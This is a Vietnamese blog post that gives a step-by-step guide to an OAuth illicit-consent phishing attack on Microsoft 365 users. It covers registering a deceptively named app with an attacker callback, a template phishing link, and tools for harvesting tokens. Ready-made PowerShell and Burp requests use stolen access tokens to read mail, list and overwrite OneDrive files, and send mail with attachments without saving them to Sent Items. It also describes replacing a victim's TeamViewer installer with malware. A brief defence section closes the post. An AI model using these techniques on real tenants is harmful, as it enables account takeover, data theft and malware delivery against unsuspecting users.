Giới thiệu
- Trước tiên cần phải hiểu Azure App Service là gì?
Azure App Service là một dịch vụ dựa trên HTTP để lưu trữ các ứng dụng web, API REST và mobile backends. Bạn có thể phát triển các ứng dụng bằng ngôn ngữ lập trình yêu thích của mình, chẳng hạn như .NET, .NET Core, Java, Ruby, Node.js, PHP hoặc Python. Các ứng dụng có thể chạy và mở rộng một cách dễ dàng trên cả 2 môi trường là Windows và Linux. Riêng với môi trường Linux, bạn có thể tìm hiểu rõ hơn về App Service trên Linux.
App Service không chỉ bổ sung sức mạnh của Microsoft Azure cho ứng dụng của bạn, chẳng hạn như bảo mật, cân bằng tải, tự động cân bằng và quản lý tự động, mà bạn còn có thể tận dụng các khả năng DevOps của nó chẳng hạn như triển khai liên tục từ Azure DevOps, GitHub, Docker Hub và các nguồn khác, hệ thống quản lý gói, môi trường dàn dựng, tên miền tùy chỉnh và chứng chỉ SSL.
Với Azure App Service, bạn sẽ chỉ phải chi trả cho lượng tài nguyên của Azure mà bạn sử dụng. Lượng tài nguyên Azure mà bạn sử dụng được xác định bởi gói App Service mà bạn lựa chọn để sử dụng cho ứng dụng của mình.
Dựa vào sự cho phép đăng ký ứng dụng trên hạ tầng Azure, kẻ tấn công có thể lừa nạn nhân trao quyền cho ứng dụng và ăn cắp access token của nạn nhân. Từ đó có thực hiện các hành vi như gửi mail, đọc mail, xem tài liệu, tráo tài liệu trên onedriver dẫn đến cài đặt mã độc vào máy nạn nhân.
Mức độ ảnh hưởng của tấn công
Tùy thuộc vào việc gán quyền khi cài đặt app, một số quyền có thể chắc chắn có thể “đòi” nạn nhân là:
- Cho phép đọc được mail của nạn nhân
- Cho phép đứng trên mailbox nạn nhân chiếm được, gửi email đi nơi khác.
- Cho phép truy cập/tráo file trên Teams hoặc lưu trên OneBox nạn nhân
Các công cụ thường sử dụng/Cách sử dụng
Dùng thằng này cũng ok
https://github.com/AlteredSecurity/365-Stealer
Cài đặt một số package cho php là được
sudo apt-get install -y php7.4-cli php7.4-json php7.4-common php7.4-mysql php7.4-zip php7.4-gd php7.4-mbstring php7.4-curl php7.4-xml php7.4-bcmath php-curl
Để hiểu rõ chi tiết hơn các bạn đọc phần dưới.
Tấn công trong thực tế
Tóm tắt

Giai đoạn chuẩn bị
Bước 1: Đăng ký ứng dụng
Dùng một tài khoản bất kỳ của tổ chức victim đăng nhập vào portal.azure.com

Chọn thêm mới
Lưu ý: Name trong ảnh sai, name của ứng dụng đã đặt là: “Cán bộ nhấn nút ‘Accept’ bên dưới để thông qua”

Chọn địa chỉ callback, ở đây sẽ đặt là https://<ATTACKER_HOST>/login/authorized


- Thêm client secret cho ứng dụng:



- Chọn quyền cho API, ở đây là những quyền mà ứng dụng yêu cầu nạn nhân chấp thuận, lưu ý: Admin consent phải là No vì các quyền yêu cầu Admin consent sẽ phải được admin chấp thuận trước.

Có thể coi như là thiết lập xong phần đăng ký app
Bước 2: Thiết lập công cụ
Sử dụng 01 máy chủ VPS để cài công cụ, có thể dùng một trong 02 công cụ, dùng để quản lý lưu trữ các token, như sau:
https://github.com/mdsecactivebreach/o365-attack-toolkit
https://github.com/AlteredSecurity/365-Stealer
Bật lên mở dịch vụ mở port 443 như sau: https://<attacker.com>
Giai đoạn tấn công phishing
- Đường link phishing sẽ có dạng
https://login.microsoftonline.com/common/oauth2/authorize?response_type=code&client_id=<APP_ID>&scope= https://graph.microsoft.com/.default openid offline_access &redirect_uri=https://<ATTACKER_HOST>/login/authorized&response_mode=query |
- Ví dụ:
- Tiếp theo, chuẩn bị phạm vi tấn công, thu thập email mục tiêu
- Khi nạn nhân click vào link, nếu chưa đăng nhập sẵn SSO của microsoft thì nó sẽ yêu cầu đăng nhập như này:

- Sau khi đăng nhập xong hoặc đã đăng nhập rồi, nạn nhân sẽ thấy như ảnh sau:

- Bên dưới có nút accept, nạn nhân ấn xong chuyển hướng qua trang mbsurveys.net là coi như xong.


Giai đoạn thu thập thông tin
Tấn công cho phép ta lấy được Refresh token và Access token của nạn nhân. Ta sẽ sử dụng Access token để truy vấn các API của Graph Explorer, tham khảo tại Graph Explorer | Try Microsoft Graph APIs – Microsoft Graph.
- Access token sẽ có dạng:

- Dùng token này gửi tới một số API như:
GET /v1.0/me/drive/root/children POST /beta/me/sendMail GET /v1.0/me/messages … |
Cần phải recon để lấy thông tin các user có license xịn từ E3 trở lên!
Sau đây là một số POC thu thập thông tin của Tổ chức/nạn nhân.
- Thu thập username, title của thành viên tổ chức trên AD on-premis + Azure AD.
- Đọc email của nạn nhân
- File attachment
- Lấy file trong onedriver của nạn nhân (file trên teams). Có thể thêm mới và update file của nạn nhân.

- Gửi mail với file đính kèm
Tấn công cài đặt mã độc
- Nhận thấy nạn nhân gần đây đang lưu trữ một file là teamviewer.exe, kiểm tra:
- Thực hiện tráo file teamviewer.exe mã độc. POC tráo file thành công
Nạn nhân khi sử dụng file không hề hay biết file đã bị đánh tráo. Backconnect được thực hiện, có thể đứng từ máy nạn nhân để tấn công tiếp theo.
Sử dụng API bằng tay
Dùng Powershell
$Token = '<access_token>'
$URI = 'https://graph.microsoft.com/v1.0/me/messages'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
Dùng Repeater của Burp
GET /<URI> HTTP/1.1
Content-Type: application/json
Authorization: Bearer <access_token>
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
Host: graph.microsoft.com
Content-Length: 0
Connection: close
Các URI đã test được
Lên https://developer.microsoft.com/en-us/graph/graph-explorer tham khảo
/v1.0/me/drive/root/children: Tất cả mọi thứ trong onedriver
Kết quả:

GET /v1.0/me/drive/sharedWithMe: Những file được share với nạn nhân
GET /v1.0/me/drive/recent: Những file gần đây
GET /v1.0/me/drive/root/search(q=’pentest’)?select=name,id,webUrl: Search file
Upload file lên onedriver nạn nhân
PUT /v1.0/me/drive/root:/FolderA/FileB.txt:/content HTTP/1.1
Content-Type: text/plain
Authorization: Bearer <access_token>
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
Host: graph.microsoft.com
Content-Length: 7
Connection: close
The contents of the file goes here.
Update file đã có trên onedriver
PUT /me/drive/items/{item-id}/content
Content-Type: text/plain
The contents of the file goes here.
Quả driver thì sẽ gặp một số trường hợp như này, đen.

POST /v1.0/me/sendMail: Gửi mail
Body:
Gửi đơn giản:
{
"message": {
"subject": "Meet for lunch?",
"body": {
"contentType": "Text",
"content": "The new cafeteria is open."
},
"toRecipients": [
{
"emailAddress": {
"address": "example@exampledomain.com"
}
}
]
}
}
Gửi có file đính kèm:
Để convert file thành base64 dùng trang này: https://base64.guru/converter/encode/file, ngoài ra còn có option saveToSentItems=> False để không lưu mail đã gửi trên nạn nhân
{
"message": {
"subject": "Hello",
"body": {
"contentType": "HTML",
"content": "Em gui nhe <br>
"
},
"toRecipients": [
{
"emailAddress": {
"address": "example@exampledomain.com"
}
}
]
,"attachments": [
{
"@odata.type": "#microsoft.graph.fileAttachment",
"name": "file.zip",
"contentType": "text/plain",
"contentBytes": "<noi_dung_file_base64>"
}
]
},
"saveToSentItems": "false"
}

Kết luận quả gửi mail hơi ảo: thỉnh thoảng gặp lỗi 404 như này

Nếu chuyển về POST /beta/me/sendMail, thì sẽ thấy như sau, có vẻ đây là đáp án :v

v1.0/me/messages: Lấy email
Cách phòng chống
- Phương pháp phòng ngừa triệt để: Vô hiệu hóa khả năng người dùng cấp quyền cho ứng dụng của bên thứ ba bằng cách chuyển option này (dưới ảnh) sang No. Nếu option này là yes, người dùng có thể được phép ủy quyền truy cho những ứng dụng mà không Được phát hành bởi Microsoft truy cập vào dữ liệu của Tổ chức. Nếu option này là No thì những ứng dụng này phải được ủy quyền thông qua admin trước khi người dùng sử dụng chúng.

- Phát hiện: Nếu bắt buộc phải enable chức năng này, có thể sử dụng “Microsoft Cloud App Security” tạo ra quy trình để phân tích và xử lý các cảnh báo được đưa ra để tránh bất kỳ hoạt động không mong muốn nào trong các ứng dụng và dữ liệu. Tham khảo tại: https://learn.microsoft.com/en-us/defender-cloud-apps/app-permission-policy
- Đối với các tài khoản bị khai thác, thực hiện Revoke các access token và refresh token của nạn nhân: tham khảo tại https://learn.microsoft.com/en-us/azure/active-directory/enterprise-users/users-revoke-access
Hay a ơi
LikeLiked by 1 person
thankiu e zai!
LikeLike